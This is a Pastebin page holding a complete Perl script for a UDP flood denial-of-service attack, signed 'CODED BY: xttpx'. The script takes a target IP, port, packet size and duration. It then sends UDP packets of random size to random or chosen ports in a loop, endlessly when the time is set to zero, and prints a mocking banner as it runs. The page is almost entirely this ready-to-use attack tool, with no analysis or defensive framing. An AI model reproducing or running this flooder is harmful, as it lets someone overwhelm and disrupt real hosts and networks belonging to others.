Advertisement
xttpx

flood

Dec 7th, 2022
818
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.51 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##############
  4. # udp flood.
  5. ##############
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. if ($#ARGV != 3) {
  11.   print " flood.pl <ip> <port> <size> <time>\n\n";
  12.   print " port=0: use random ports\n";
  13.   print " size=0: use random size between 64 and 1024\n";
  14.   print " time=0: continuous flood\n";
  15.   exit(1);
  16. }
  17.  
  18. my ($ip,$port,$size,$time) = @ARGV;
  19.  
  20. my ($iaddr,$endtime,$psize,$pport);
  21.  
  22. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  23. $endtime = time() + ($time ? $time : 1000000);
  24.  
  25. socket(flood, PF_INET, SOCK_DGRAM, 17);
  26.  
  27.  print <<EOTEXT;
  28.                       .
  29. NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
  30.      NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
  31. NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
  32.      NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
  33. NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
  34.      NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
  35. NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
  36.      NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
  37.  
  38.      CODED BY: || xttpx ||
  39.          
  40. EOTEXT
  41.  
  42. print "Flooding Sent....! LMFAO
  43. $ip " . ($port ? $port : "random") . " port with " .
  44.   ($size ? "$size-byte" : "random size") . " packets" .
  45.   ($time ? " for $time seconds" : "") . "\n";
  46. print "Break with Ctrl-C\n" unless $time;
  47.  
  48. for (;time() <= $endtime;) {
  49.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  50.   $pport = $port ? $port : int(rand(65500))+1;
  51.  
  52.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  53. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement